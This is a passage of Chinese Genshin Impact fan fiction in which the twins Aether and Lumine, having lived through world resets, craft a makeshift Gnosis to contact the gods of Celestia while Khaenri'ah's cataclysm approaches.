荧并不认为拒绝神明力量是什么坏事,但坎瑞亚的科技水平显然不足以让他们直接跨越神明的力量过上幸福美好的生活。所以,他们讲目光投向象征天空岛反面的地底,并找到了难以利用、却能够被他们转换使用的深渊力量时,一切也并非无迹可寻。 只是总觉得有些舍本逐末,荧叹了口气。 “怎么唉声叹气的?”空捂着酸痛的后脖颈,忍不住吐槽:“得亏我皮糙肉厚,再用力一点,我就得毫无形象地晕倒再外人面前了——等等,明明是你让我晕的,怎么能怪我演得太真呢!” “哼,哥哥本来就没有什么形象可言,怕你多说多错。”荧坐在松软的豪华大床上,盯着自己的兄长,双手叉腰,没好气道,“刚刚被伊尔明他们打岔了——坦白从宽抗拒从严,我们失散后你是怎么跑到遗迹地底、又是怎么突然变强了这么多,一件件、仔仔细细地说清楚!” 这下叹气的变成了空。 金发的降临者看着自己的血亲,偷偷地捂住额头。 “具体的故事太长太冗杂了,长话短说,总而言之,荧,相信我,我一定不会害你。” 空也坐在床上,一只手抓住荧的肩膀,定定地看着自己的妹妹:“跟我一起走吧,深渊的载体也好,坎瑞亚的公主殿下也罢,那都不重要。我们没有义务替坎瑞亚的计划买单,也没有必要搀和到他们与天空岛的纷争中。况且坎瑞亚人的一面之词并不可信,最起码在深渊的事情上,坎瑞亚人并不如他们所说的那样无辜无害。归根到底,我们只是旅行者,是这个世界的过客。” “我……” 空打断了荧的未尽之言,继续说道:“我们原先已经做过一次错误的选择,并为此付出了足够多的代价。提瓦特的家务事我们就少搀和点吧,要不是维尔金……啊,就是我那个帮忙重启的朋友在,我们连从头再来的机会都没有,总而言之——” "走吧,荧。我们一起离开提瓦特。" 兄长的手掌炽热有力,荧对上那对充满真挚与恳求的眸子,按捺住呼之欲出的心脏。 最终,荧缓缓摇头,艰难地拒绝道:“不行,哥哥,我还不能走。” 空愣在原地。 “为什么?” 荧:“这个世界没有我们想的那么简单。而且如果我没有猜错的话,哥哥是从世界重置后一直等到了现在,想要赶在坎瑞亚灭国之前带我离开提瓦特,对吧?” 空瞪大眼睛,惊喜道:“荧……难道你也?!” ——可既然他们已经找到了彼此,那为什么…… “听我说,哥哥,提瓦特有问题。” 荧从哥哥的目光中读懂了他的困惑,少女神色凝重:“我不知道你跟天空岛的诸神做了什么交易,但一定要记住——” 提及那两位可怕的神明,哪怕已经不再是同一次轮回,荧仍旧忍不住颤抖。亲眼目睹血亲在身边死去,感受到温度和生命力从兄长身上流失的恐惧,时至今日,仍旧能够让荧四肢僵硬。 荧抱住胳膊,闷声说:“总而言之,远离天理和祂的维系者,他们很危险。” “我被祂们杀死了?” 空揽住自己的妹妹,兄妹二人裸露的皮肤紧紧贴在一起,温度提醒着荧,这个重置世界的兄长还尚未死去,他们甚至还提前相遇,相拥在一起。 ——简直像是一场专门为自己打造的梦境一样,荧忍不住想。 空轻轻拍打着妹妹的肩膀,附在她的耳畔,轻声说道:“都过去了,你要相信,这一次一定会是一个完美的结局,天理和维系者不是蛮不讲理的神明,相信我,这一次,我绝对不会丢下你一个人!” 荧没有言语,只是更加抱紧了兄长。 哪怕是荧被维系者掳走、兄妹二人失散的漫长百年,空也从未想过荧“死亡”的可能。对于漂泊再纷异世界的二人而言,彼此是唯一的依靠,妹妹对于哥哥而言不可或缺,反之亦然。 但是,在一次已经被重置的提瓦特中,荧永远地失去了她的兄长。 重置无法消弭外来者的记忆,但是另一半身死亡而产生的恐惧和震慑是如此的可怕,以至于直到如今,荧仍然无法忘记那种感受—— 永恒的孤独和失温的血液再不断地提醒她,他们失去了彼此。 “在发现一切又重新开始之后,我也想要试图赶在灾难来临之前逃离提瓦特,但是结果——哥哥你应该也知道了。” 荧咽下心中无数的担忧和苦痛,深吸一口气,空显然也意识到了问题所在,脱口而出—— “我们被维系者拦在了世界的边缘。” “我们被天理拦截在天空岛的边缘。” 经历了一场空前绝后的大眼瞪小眼之后,空发现了盲点。虽然依旧维持着两眼发直暂时失语的症状,但还是抬起手,颤颤巍巍地指出他们原先都忽略了的盲点:“荧,该不会你也经历了……” 荧绝望捂脸,别说是流泪了,她现在只想骂街—— “天杀的提瓦特,谁家好神明天天有事没事重置世界的进度条啊?!!” 空默默为自家亲妹点了个赞。 有时候不得不佩服提瓦特旺盛强悍的生命力——要是换一个脆弱的世界,别说多次重置,恐怕重置一次就能直接把整个世界的时间线干报废。 空简单跟荧说清楚来龙去脉之后,更是一个脑袋两个大:“还有一个要命的点,维尔金——就是天理本人并没有关于拦截我们的记忆,在我所经历的事件中,是天理的维系者亲自出动,在天空岛的边缘拦住了我们,我也在坎瑞亚覆灭的五百年后遇到了维尔金,重新踏上旅途。” “维系者和天理都没有关于重置世界的记忆……” 荧若有所思:“提瓦特最少重置过三回。” “三回?”空不解,“我们二人,不应该是两回吗?” 荧犹豫半分,最终还是说道:“正如天理所言,降临者不会受到重置的影响,可是哥哥——” “你还记得我们是怎么来到提瓦特的吗?” “我们在各个世界旅行……” 空猛然一怔,脑海中的画面像是被缚上了厚厚的蛛丝,曾经无数次向人们讲述的久远记忆陡然中断,他已经记不清究竟具体是什么时候才来到的提瓦特,又是因为什么才停留了相当长的一段时间,直至坎瑞亚战争爆发,才想到要趁乱离开这个世界。 他记得要寻找妹妹,他记得来到提瓦特之后的一切,但关于这之前的记忆、占据他已度过生命的大半、促使他和荧来到提瓦特的记忆—— 已经完全,不记得了。 血液瞬间涌上脑海,伴随着嗡嗡的耳鸣,整个世界好像都黯淡了一个色调。 “荧,你还记得吗?”空一把抓住荧的手腕,急切问道,“这到底是怎么一回事?” 荧定定看着自己的兄长:“你果然忘了,哥哥。” “当初,我问你为什么要进入这个畸形的世界泡,你可是这么回答我的——” 荧闭上眼,缓缓开口: “有要等到提瓦特元素力量开始枯竭才能做的事。” “等等,你的意思是——” 空难以置信地指着自己:“我一开始就知道提瓦特的存在?还对提瓦特的力量构成非常了解?天地可鉴,直到遇见维尔金之前,我对提瓦特这些乱七八糟的事情可是半点摸不着头脑。” “那就得好好问问你的好朋友了。”荧挑眉,“天理总该知道重置世界的副作用吧?” “……怎么说呢……” 空“嘶”了一声。选择把问题交给专业人士—— “我感觉与其问维尔金,倒不如直接问问维系者来得直接。” 如何联络远在天空岛、暂时还不认识自己的维系者呢? 寄希望于坎瑞亚人帮忙不现实,他们恨不得撺掇着兄妹二人登上天空岛跟魔神们打生打死,自己再坐收渔翁之利。而古典派收集神之心召唤通往天空岛隧道的办法也太过于费时费力,思来想去,空终于从记忆中抠出来临时山寨版神之心的使用方法—— “降临者和魔神的骨与血……嘶,还是天理的血?反正是这样豁楞豁楞……配比?好像是1:1?不管了死马当活马医先……” 空一边在久久不曾使用的大脑里捕捉蛛丝马迹,一边上手摸索自己的肋骨。 ……他记得维尔金是直接用肋骨来着。 荧一把抓住空窸窸窣窣伸进他自己衣服乱摸的手,忍无可忍:“这个配方你到底记住了些什么?” “当时没仔细听。”空尴尬摸头,自觉理亏地解释道,“当初俩魔神带我一个,我这不是寻思专业事情交给专家处理……配比什么的就记得不是很清楚——荧你冷静!这个关键的‘豁楞豁楞’我记住了!!” 荧闭上眼,幽幽说道:“下次还是……”记点有用的关键词。 空趁荧不注意,当机立断抽出手,从领口大开的锁骨处捏碎一小节骨头碎片,丢入了宛若魔女坩埚八宝粥一样的血肉中。 顺便一提,这些血肉还是当年骑特瓦林之前在丘丘人营地存下来的老储备粮,时过境迁,普通的兽肉在时空与轮回力量的加持下也能够勉强当做“血”的原材料。 随着降临者之骨的加入,混沌的血汤乍然像是找到了主心骨,自发地摇晃起来。 空不敢停手,硬着头皮掰下一根椅子腿,勉为其难地用作搅拌棒。 随着血肉与骨的融合,七彩的光辉渐渐出现。 空的眼睛越来越亮:“荧!成功了!!” 空惊喜的声音打断了妹妹在心底幽幽的吐槽,后者还没来得及说完,喜报就传入耳中— 不是,这也能成? 荧震惊地接过自家兄长不能说是精耕细作、只能说是纯糊弄的简约办骨灰拌血做成的伪·神之心,一时之间欲言又止。 “荧?” 空伸出鲜血淋淋的手在自家发呆的妹妹眼前晃了晃,后者被突然放大的血手吓得一个激灵,忍不住拍掉哥哥凑到眼前的血手,吐槽道:“这也太随便了吧……不知道具体的材料和配料,就这么简单粗暴地把两种蕴含了庞大力量的材料混杂在一起搅拌均匀……居然真的就做出了跟只有尘世七执政才拥有的神之心差不多的仿版……” 末了,荧评价道: “好随便的世界,好随便的造物主。” “可能是他们人手不太足。”空想了想,决定还是在妹妹面前挽回一下天空岛光辉灿烂、高大隐忍的形象,“实用主意才是最棒的!” 荧不予置评:“实用主义——所以怎么联系维系者?如果可以的话,我们最好是找一个独立隔绝的空间好好谈谈。” 毕竟是坎瑞亚人的主场,天空岛神明的力量突然降临这里,很难不被有心人同哥哥的回归联系在一起。 …… 如果可以,荧并不希望让本就敏感到极点的坎瑞亚人因为神明的降临,出现一些意料之外的事故——至少在他们离开之前,坎瑞亚不能被逼得发疯到试图鱼死网破。 “这个简单。”呼吸之间,空的手掌心已然凝结出一个元素力量小球,还没等荧反应过来,空已经一巴掌拍向了地面—— “咻” 一朵金灿灿的地脉之花撬开坚硬的石砖。从地上冒出金色的花瓣。 紧接着,还没等摸不着头脑的地脉之花辨认眼前的粗暴的降临者究竟是谁,就被一把夺过文件记录,一脸蒙逼地重新返回了土壤,重新开始记录区域内的一切。 地脉之花:我想开了。 地脉之花:不对,我怎么开完了? 行云流水导出完坎瑞亚区域日志,荧敏锐地发现,窗外的不安分的眼睛已经开始召集人手,顾不得暴露,荧喊道:“快,他们马上就来了!” 空当机立断,扔出手掌心还在滴血的盗版神之心,一发蓄力风旋开启神之心得到沟通功能,眼见一个淡银色的虚影缓缓形成,空深吸一口气,声音响彻整个王庭—— “救命!坎瑞亚地脉之花吐报告吐得到处都是!快来救一救啊!!” 远在天空的维系者女士反射性地抖了一下。 而在她身边,一心三用——一只眼睛巡逻天空岛边界、一只眼睛批阅公务,剩余的心思用来有一茬没一茬跟维系者聊天的派蒙也愣住了。 “坎瑞亚的地脉之花?”派蒙一脸恍惚,喃喃道,“果然这样高强度的工作连魔神也扛不住——维系者,咱们快点想办法骗,我是说招一点吃苦耐劳的员工上来享福吧。你看我都出现幻听了……呜哇,维系者,你在干嘛?” 维系者一把掀开台面上的公文,越过长桌,一把拎起状况外的时间之魔神,沉声道:“这不是幻听,派蒙。” “有人用降临者的骨灰,通过仿造神之心,引诱我们孤身前往坎瑞亚。” 第87章 第 87 章 死之执政若娜瓦 去还是不去? 维系者已经身体力行给出答案。 堆成小山的公务被面无表情的四影执政官砌起整理。维系者幽幽叹了口气, 一股脑地把台面未处理完的公文塞到包裹后,丢到还在跟白夜国事务斗智斗勇的派蒙手上。 派蒙抬起头正巧对上维系者那双平静理智的金眸。 短暂的交错后,维系者移开目光, 又将视线投向那座无神之国, 或者说, 承载着无神之国坎瑞亚的土地上。 “我能感受到地脉之花的震颤, 以及来自大地的哀嚎。”维系者难得显露出疲态, 强如她,在面对如此执拗又在不断给她增添工作量的家伙们时,一声声言语也只能化作一声叹息,“坎瑞亚的宫廷法师们并没有发现问题所在,他们仍然一厢情愿地相信深渊的力量能够救他们于水火之中。是他们看不见天空的伟力吗?抬头祈祷、甚至说只需要告诉周边国家就能够解决的问题, 为什么非得为难所有人呢?” 派蒙无法回答维系者的问题。 如果说白夜之国的臣民至少还有追寻禁忌知识力量的理由,那么坎瑞亚——派蒙想破脑袋都想不出他们天天跟天空岛对着干的理由。 维系者原本想要通过这项观察实验去探索人类的极限,但可惜, 元素力流逝造成的土地劣化已经触及地脉之花。再放任他们自己研究下去, 很难不怀疑坎瑞亚又会惹出什么惊天大祸出来。 这回随便坎瑞亚人怎么阴谋论,天空岛必须要动手了。 胸前一直淤着气的维系者缓缓吐出一口浊气,再度睁开眼, 金色的眸子闪烁着刺眼的光芒, 白色的发丝无风自起, 黑红交错的方块从半空中开始增殖、扩张。 不对, 派蒙“蹭”一下站起身。 那些突然出现的方块并不是在增殖, 而是在蚕食天空岛和坎瑞亚之间的空间! ——维系者生气了! “维系者,你冷静一点!” 派蒙顾不上可能被空间之权能波及的可能性,手中溢出金色的微光,来自时间之魔神的权能时间回溯到维系者发动权能前的一秒钟, 疯狂增殖的方块以同样疯狂的速度回归至它们的主人身上。 还没来得及松一口气,下一秒,巨大的天空岛极速下坠,随后停滞在半空。陡然出现的失重感让本就不怎么稳当的公文山隐隐摇晃,维系者抬手,一小块空间塞入将将倾倒的一侧,一切又恢复了平衡。 这回角色互换,头疼善后的人变成了派蒙,而维系者成为了那个更任性的魔神。 维系者把玩着被压缩成方筷状的空间块,重重叹了口气。 “我很冷静,派蒙。我很清楚自己在做些什么。” 维系者叹了口气,伸出指尖,将一小块蕴藏着空间权能的方块推到被静止的空间领域,转头看向派蒙,缓缓道: “一点小小的惩罚——我得让他们清楚地认识到,违背天空岛的意志、以及擅自探寻深渊之力的下场究极有多么可怕。用天空岛犁一下地,我才方便给地脉灌输力量,顺便调查地脉之花的异状究竟因何产生。” 维系者双手环胸:“反正研究深渊已经是板上钉钉的事情了,虽然不知道为什么,维尔金先前明明察觉到坎瑞亚人心思不正却还纵容他们享用大路上最肥沃的土地……但这一切是时候该结束了——” “更多善良的人类值得享用这世上的一切。至于坎瑞亚人……我会考虑把他们作为一种分支重新列在提瓦特物种大全上的。” “诶?”派蒙马上反应过来,急忙说:“不行不行,不管是诅咒还是天钉,都需要维尔金批准——” “所以这既不是诅咒,也不是天钉。”维系者相当顺理成章地说道,“反正坎瑞亚不会好好听我说话,又经常对地底动手动脚,酿成大祸也只是早晚的事。” 派蒙脑瓜子嗡嗡的,欲言又止。 维系者还在一边持续性输出: “坦白说,我有点后悔那会一气之下选择袖手旁观、让坎瑞亚人自己解决自己的问题了。地脉之花出现异状,作为维系者的我,必须为自己先前任性的选择担负起应有的责任。解决坎瑞亚的问题后我会亲自向维尔金请罪,但当务之急是解决坎瑞亚的异状。” 维系者揉了揉太阳穴,声音也流露出一缕夹杂着疲惫的恨铁不成钢,“让一群摸不着头脑、还始终处于应激状态的国度独立解决问题……真是的,白白给自己增添工作任务……是我太想当然了。” 派蒙很担心维系者的心理状态。她不明白,一向寡言少语、冷静公正的维系者怎么突然做出了这种类似于宣泄的行为,试探性到:“要不……我先去确认坎瑞亚的目前情况,地脉之花被人拔出不一定是坎瑞亚人动的手脚,说不定是有人……想要联系到我们而不得已为之?” 派蒙的声音越来越细,直至消失在风中。 维系者眼神怪异:“你信吗?” 派蒙其实自己都觉得这个理由听起来就不靠谱,但眼下当务之急是在维尔金不在的时候保住触了维系者眉头的坎瑞亚,她只能硬着头皮大声道:“一定是这样的!等我下去证明给你看!” 说完,派蒙紧紧握住维系者的双手:“总而言之,先相信,再质疑!事不宜迟就由我下去看望那朵被不知名人类拔出来的可怜地脉之花吧!” 维系者:“……” “嘿嘿,相信我嘛!”看着好同僚锐利的眼睛重新变回充满嫌弃感的死鱼眼,派蒙结结实实松了一口气。 维系者微不可查地点点头,然后扒拉下派蒙,把刚刚抽出来用来把垫公文堆的方块重新丢回天空岛下方。 “……记得写报告。” 又是一阵地动山摇,派蒙看向远处的龙脊雪山——很好,维系者这一番操作下来让本就高处不胜寒的天空岛海拔再度上升了几百米。不过比起天空岛直接砸在坎瑞亚脑门上,派蒙还是更能够接受本就寒冷的天空岛温度又要低上许多的事实。 总而言之,稳住维系者已经是大功一件了。 关爱心碎同事的贴心派蒙顺便又拿走了桌面上的包裹—— “那我下去了,好好休息哦!” 摆完一个超级帅气的招呼后,掂量着沉甸甸的公文,派蒙发自内心地感慨,能遇到她这么贴心的同事,维系者真是有福了。 至于现在—— 时间之魔神抬起双手,怀表的指针不断回溯,直至定格在了她们感知到异状的一瞬。 就是这里! 派蒙深吸一口气,一头扎进时间坐标节点—— “等我的好消息!回见!” 随着时间之魔神的离开,吵吵嚷嚷的天空顿然安静不少。 “真是的,派蒙。” 维系者微微叹了口气,半侧倚靠在桌案上。 “还教训我不要乱来,结果自己上手不也还是先手用权能冻结时间再干别的……干什么若娜瓦,你来晚了,派蒙刚走。” “我为千万乃至亿计生命的死亡而来,不过看上去,我来晚了。”一道裂缝兀然撕裂开空间,一只巨大而又鲜红的眼睛四处看了看,顿时了然:“坎瑞亚……我已将他们的名姓铭刻在心,他们会得到应有的惩罚。” 鲜红的血眼看了眼堆积如山的文件,补充道:“放心,不是为了你,只是恪守作为死之执政的准则罢了。” 维系者点点头:“多谢,但没必要这么做,我不会迁怒蒙昧与无知,你也没有必要惹维尔金生气。” “……坎瑞亚有多麻烦大家有目共睹。”若娜瓦的声音流露着不满,“法涅斯太过天真,维尔金也是如此。” 单单七国的日常公务文件不可能堆积至如此境地,若那瓦很清楚维系者的个性,这位富有责任心又跟维尔金一样唯法涅斯遗志为马首是瞻的好同僚不可能放任自己的工作堆积成为如此境地。 “如果坎瑞亚在世界的边缘裂缝就好了。”维系者叹了口气,招招手,一则关于坎瑞亚地脉异常报告的卷轴乖巧地落入她手中。 啧,又往下挖了。 若娜瓦感到不可思议:“我以为你认可维尔金和法涅斯的观点。” “我认可人类的价值,但我同样能够看见他们的不可预见性,坎瑞亚就是一个最佳例子,深渊的腐化也侧面证明了这一点。不是所有人都有被拯救的价值,但是魔神们必须拯救目之所及的人类,必须对人类伸出援手。” 维系者顿了顿,语言中夹杂着莫名的叹息:“这太不公平了,人的寿命太过短暂,又有着过分的好奇心和欲望催促着他们讲目光投向深渊。人类很好,法涅斯喜欢,我也喜欢。但,拯救无可救药的人类只会平白磨损掉魔神们的爱。” 她拿起放在桌案上同周遭色调格格不入的黑色方块。 若娜瓦没有说话。 “若那瓦,你之前的提议,我接受了。”维系者一边翻开卷轴,继续处理公务,一边说道,“你说得对,坎瑞亚需要一些刻骨铭心的教训,所有的人类也应该亲眼见证屡次触碰天空岛底线、究竟有何下场。” “哈哈,我的姊妹,你比高居于御座的维尔金更能辨明是非。祂太天真了,人类的生命太过短暂,溺爱和原谅只会让他们忘记一切,只有铭心的教训才能够保证他们再也不犯,规规矩矩地度过自己的一生,不给我们的工作添些没必要的麻烦。” 死之执政深红的眼睛陡然从漆黑的方块睁开。 “维尔金是最像法涅斯的。”维系者没有否认若娜瓦的观点,只是强调道,“祂也从未质疑过法涅斯的遗志。” “但是,天理爱人的意志没有变,魔神爱人的决心没有变,人类却变了。” 若娜瓦的声音回响在仅有两位执政官在场的天空岛—— “所有坎瑞亚人,都应当为坎瑞亚的叛逆付出代价。” 第88章 第 88 章 灾厄来临之前 荧短暂晃了一下神。 刚刚那是…… 空间扭曲而产生的波动? 荧不太确定自己的感知是否正确, 因为在提瓦特,有且仅有一个神明执掌空间的权能。 她看向自己的兄长,殷红的血液已经顺着四肢融入铺设的毛绒绒地毯上, 蕴藏着强大力量的鲜血融入野兽的表皮, 散发出阵阵黑烟。 荧心底一沉—— “怎么了?” 敏锐的空注意到妹妹短暂的恍惚, 眼见既没有维系者下界的动静, 又没有维尔金的探查, 并不能确定是不是仿造的劣化版神之心连不上天空岛的空只能小声问道:“坎瑞亚的宫廷法师们已经来了?” “没有,刚刚似乎是我的错觉,有一瞬间我感觉整个坎瑞亚……似乎陷入了某种凝视中。” 荧不由自主摩挲着起鸡皮疙瘩的手臂,深呼一口气。 空微微张口,话还没有来得及说出口, 一个熟悉又陌生的白色脑袋顶着一个摇摇欲坠的王冠就从扭曲的空间裂缝中探出脑袋来—— “方向正确、坐标正确,呼,还好在下来之前用权能冻结了时间, 不然可就就……” 派蒙:“麻烦大了啊……”! 这又是怎么一回事? 派蒙顿时方寸大乱。 时间的权能拥有最高的优先级才对!维系者也就算了, 毕竟是从上古元素古龙时期存活至今的老牌魔神,没有办法反制自己的权能才奇怪。 但是面前这两个奇怪的人类,居然也完全不受「暂停时间」的影响—— 派蒙自觉大事不妙, 她面前的两位降临者也是神态各异。 “是你, 时间之魔神!” 这是警惕的荧。 “太好了, 是长大版本的传说级全盛时期派蒙!虽然来的不是维系者但是也可以了, 我们有救了!维尔金诚不我欺!!” 这是欣喜的空。 派蒙:好, 好奇怪。 通过权能直接说出称呼没什么,但是这个直呼自己姓名、还认识维系者和维尔金的金发人,可就不太对了。 气氛短暂沉默了半晌,三位心思各异。 荧:全盛姿态的时间之魔神, 可恶,还没有拿回全部的实力,不知道维系者和天理有没有将目光投向此处……希望这家伙别突然发疯。 空:没想到派蒙以前居然身高堪比维系者……世界重置果然是有意义的! 派蒙:可恶的脑袋,快点使劲转啊! 转速超标的派蒙放弃思考,选择单刀直入,认真问道:“你们是怎么认识的我?” 荧后退一步:“这个问题还请兄长来回答吧。” 反正她这里的答案不怎么美好。 “先告诉我地脉之花怎么——”派蒙看向血淋淋的空,一下子脑子突然卡壳,结结巴巴道:“那个……你要不还是先止止血?” “不好意思,吓到你了。”空胡乱抹了两把,“喏,这个是地脉之花的导出来的报告……以前在璃月的南天门时,为了探查若陀龙王在地下作乱造成的地脉状况异常情况,维尔金曾经当着我们的面使用过地脉之花……”看着面前的派蒙,一肚子想要倾诉的言语又生生被空吞回肚子里,只能含糊其辞道,“总而言之,这已经是很久很久之前的事情了,但请放心,我们绝对不是跟坎瑞亚人一伙的,拔出地脉之花只是想要寻求维尔金和维系者的帮助!” 派蒙没有说话,但她能够感受到眼前之人没有说谎。一些古怪又莫名合理的情节也增添了几分说服力——不然,派蒙想破脑袋也想不出为什么一个从未见过的降临者能够知晓天理得到真名,并且还认识他们三个。 更何况,派蒙能够轻而易举地感知到, 空并没有对她产生任何恶意,反倒是那位一直将手掌覆在剑柄的少女对她更有敌意一些,索性直接问道:“既然是想要引来魔神,那你们是需要什么帮助吗?” ——如果地脉的异常和地脉之花的尖啸是因为这两个降临者的辣手摧花,事情可就好办了。 可惜坎瑞亚这片土地,注定惹出大乱子。 时间之魔神的权能停止了坎瑞亚境内的时间,但作为净化深渊力量装置的荧没有受到影响。 也就是说,她跟坎瑞亚的链接已经断开了。 “哥哥,以及这位时间之魔神——”来不及做多解释,荧径直打断空和派蒙的谈话,说道,“我感知到了地底传来的地脉躁动,事情不太对,先撤。” “撤?”派蒙感到不解:“你既然知道我的身份,也应该知道时间之魔神的力量,可不是区区人类和神之眼持有者能够脱离掌控的。” 空也想不通荧突然着急离开的原因,不解道:“现在应该也算是派蒙的全盛时期,有时间的权能傍身,说不定还能一口气解决掉坎瑞亚所有的问题呢!” 荧看向派蒙,心一横摊牌:“抱歉,天空岛的执政官,正如您所想的那样,我们已经经历过一次世界树重置了。” 派蒙:“啊?” “诶!!!”猛然意识到空荧兄妹二人的言外之意后,派蒙再也坚持不住好不容易端起来的高贵女神气质,两个手死死抵住脑袋,那双浩如星空的眼睛也进化成为蚊香圈。 “等等,也就是说,未来真的出现了一个不得不动用世界树进行重置的危机吗?” “我猜是三个。”空委婉纠正道。 派蒙更加惊恐:“三个?” “准确来说,是最少三个。”荧长话短说,向派蒙简要说明一下她和空二人之间得出来的结论后,说道,“我和兄长来自于世界之外,我们无意卷入提瓦特的纷争。自始至终,我们的目的只有找到彼此,然后回家。坎瑞亚人将从地脉中挖出的深渊之源链接到我的身上,所以我能够感知到,在时间之魔神,也就是派蒙降临地一瞬间,地脉中流淌的力量以及尚未转换为可用力量的深渊污秽就开始躁动——兄长,虽然我们经历的事件不一样,但是我相信,有一件事,一定也存在于你所经历的时间线中。” 空瞳孔紧缩,失声道:“你的意思是……坎瑞亚大灾厄?!” “是的,哥哥。”荧沉声,向对未来一无所知的时间之魔神说道,“或许是因为我们的存在,又或许是因为重置后产生的变数导致时间的流速加快,但事实就是如此……” “深渊的力量即将从地脉中喷涌而出,我们必须马上离开坎瑞亚——不,我们必须马上离开提瓦特!” “等等!怎么突然坎瑞亚又要灾变了??” 派蒙突然抬高声音,举着手中由地脉之花生成的报告,压抑着心中的急切,向荧寻求一个答案。 天空岛的优秀员工只需要随随便便扫几眼,就已经大致清楚了坎瑞亚国土范围内的地脉状况。虽然说大体上呈现衰竭态势,但是并没有存在荧口中所说的“灾厄”,甚至就连她和维系者一直担心大的深渊污秽污染程度也保持着一个相对可以接受的范围水平。 派蒙可以拍着胸脯保证,单单看这一份地脉之花报告,哪怕是连维尔金也没办法品出一丝坎瑞亚灾厄爆发、全提瓦特危机即将来临的情报出来。 再加上荧身上先前隐隐约约传来的敌意,哪怕她跟看上去就是友好派的空互称兄妹,派蒙还是生出了几分警惕之心。 但面对可能存在的危机,她还是不敢将荧的话当做一个无稽之谈略过去。 荧对派蒙的反应丝毫不意外,还顺带坏心眼地揭露了一番在天真魔神眼中还能算是在安安分分做研究的坎瑞亚人的真实面目—— “坎瑞亚可不是什么老实人,他们的脑子在应对天空岛的自我检测机制时转得意外的快。” 荧伸出双手,让时间之魔神能够看清楚她身上存在感极为明显的缝合伤口:“炼金术的一部分,可以藉由人体作为枢纽,将最原始、且充满杂质的深渊污秽进行提纯,转化为供以使用的深渊力量——” 所以,在时间之魔神向坎瑞亚施加「时间停滞」的权能时,她才能敏锐察觉到那一丝波动。 荧耸耸肩:“作为时间的执政,你应该很清楚,这意味着什么吧?” 意味着这个年轻的降临者已经作为坎瑞亚人改造的过滤装置! 派蒙的脸色越来越难看,她和维系者都低估了此时坎瑞亚现状的严重性——过滤装置的确可以转化深渊污秽,另辟蹊径运用纯粹的深渊力量伪装成正常的元素力量填补地脉空缺。短期内,过滤后的深渊力量只会略微增加地脉力量中深渊的浓度,只要不超过这一标准,地脉之花就不会发出警报、受制于坎瑞亚无神之国的特殊国情,他们一般也不会没事找事前来坎瑞亚给自己增添工作量…… 派蒙不忍心看着已经愈合却仍旧狰狞的伤口,闷闷道:“……很痛吧。” 荧有些惊讶,但摇了摇头:“这也是交换的一部分,言归正传,虽然不知道为什么我们并没有被时间的权能束缚,但我能感受到,源源不断地深渊力量正在冲击坎瑞亚的地脉,总而言之,「我」提前报废,已经无法再用来过滤深渊污秽了。原本预计在十几年后可能发生的灾变,已经拉开序幕……” 无数的巧合和限制条件交织在一起,结成了一张笼罩在提瓦特上空的黑色阴霾。 “派蒙,马上带他们回到天空岛,降临者离开提瓦特的权限我给批。让他们走” 一只红色的眼睛从半空中睁开,派蒙认出来声音的主人,那是和维系者一样,同为影之四执政的死之执政,若娜瓦。 “可是地脉——” “从现在起,坎瑞亚的一地脉异状事件移交给我和维系者全权负责。”若娜瓦的声音不容置喙,发出指令,“你的任务是退守天空岛,拦截妄图浑水摸鱼偷偷进入提瓦特的星空遗民。” 派蒙不愿意,请求道:“让我留下来吧,我的权能更加适合阻止这场灾难!” “你应当相信我和维系者的共同抉择,派蒙,维尔金「天理」不在,我和维系者的共同抉择视同维尔金「天理」的意志……至于降临者们,感谢你们告诉我关于坎瑞亚的未来……”那只被称之为若娜瓦的、被数个小型眼睛簇拥的巨大血红色眼睛意外地心情不错,“你们提供的信息,为天空岛的工作省了许多力气。” 不知为何,空总觉得,若娜瓦的话里另有深意。 好像…… 她想要趁这个机会,将名为坎瑞亚的国度,利用灾厄顺理成章地毁灭殆尽一样…… 而且,如果坎瑞亚又要爆发灾厄,那维尔金呢? 知晓一切的维尔金一定不会放着坎瑞亚不管! 第89章 第 89 章 今天天理不在家 “哥哥, 哥哥!” 空猛然回神,本能向前一步,脚下险些悬空。 “怎么站在天空岛边缘发呆?”荧手快拉了他一把, 心有余悸地看着空脚下的万丈深渊, 象征性地给了自家大大咧咧的兄长一个暴栗。 “好不容易就能够离开提瓦特继续我们的旅行了, 这时候居然还在发呆, 真是的……” “毕竟, 真的感觉就像是在做梦一样啊。”空摸着头,不由得感慨命运的玄妙和迅速,“我们这才见面不到一天,居然就完成了这么多年的心愿、能够一起离开提瓦特了……说真的,哪怕是现在, 我都觉得虚幻得像是一场梦。梦醒之后,我依然躺在冰冷的石窟,听着深渊力量塑造而出的幻觉模仿着你的样子装神弄鬼, 你不知漂泊在何方受尽苦难, 我们的相逢依旧遥遥无期……好在一切都过去了。” 荧宽慰般拍了拍自己突然伤感的兄长。 空心疼地牵住妹妹的手,选择与坎瑞亚合作的荧不但忍受了与血亲别离的痛苦,更还忍受了来自他们的折磨。时间无法磨平一切, 哪怕已经过去许久, 又有荧强大的恢复力做支撑, 交错缝合的伤疤依旧显得触目惊心。 “对不起, 我应该早点醒来。” “不要向我道歉, 我们谁都不应该道歉,该道歉的是坎瑞亚人,是这个该死的命运,是这个莫名其妙的世界, 还有那些莫名其妙的规则……不过好在,一切都过去了。”少女结满剑茧的手掌紧紧贴近兄长的胳膊,她抬起头,看向眼睛里仍然盘桓着浓稠阴影的兄长,又将头埋在空的臂怀里,继续畅想着更加美好的未来。 “提瓦特只是我们漫长旅途中一个别样的节点,我们将继续踏上旅行的道路,前往更多更多的世界。我们将用双脚填补我们曾经错过的相伴旅途,我们将与龙翱翔在其他世界,我们将认识更多更多的朋友,直至这一段痛苦别离成为记忆中的一颗微不足道的砂砾——” 荧喃喃:“多好啊,哥哥。” 空微微点头,眼睛却茫然地注视着被无暇蓝色填满的天空。 “每一段旅途都是有意义的,荧。”或许是因为即将离开,压力一扫而空,空的心境也豁然开朗了不少。空抬起手,指向在一片整齐蓝色中隐隐发出黑光的裂缝,说道:“看,那里应该就是边界了,不知道这一次,会不会又来些稀奇古怪的家伙阻止我们离开。” “你的世界线是维尔金拦住了我们的去路,我的世界线是维系者拦住了去路,这次有派蒙为我们引路,总不能又冒出来一个莫名其妙的天空岛魔神拦住我们的去路了吧?” 空顿了顿,嘴角勾起:“说起来……要不是维尔金,我恐怕再也找不到你了。” 空没有告诉荧,其实他早在时间线重置之前就遇到过她。 但是那时的荧明显已经成为了深渊的一份子,那些被称之为深渊使徒的魔物甚至尊称她为“公主”。 空打算把这件事永远埋进肚子里,已经发生的事情他不想再去纠结了,往事不可追溯,未来不可遇见,空现在只想好好守护身边的妹妹。 只是…… “要是能当面向维尔金好好道谢就好了。”空无意识感慨。 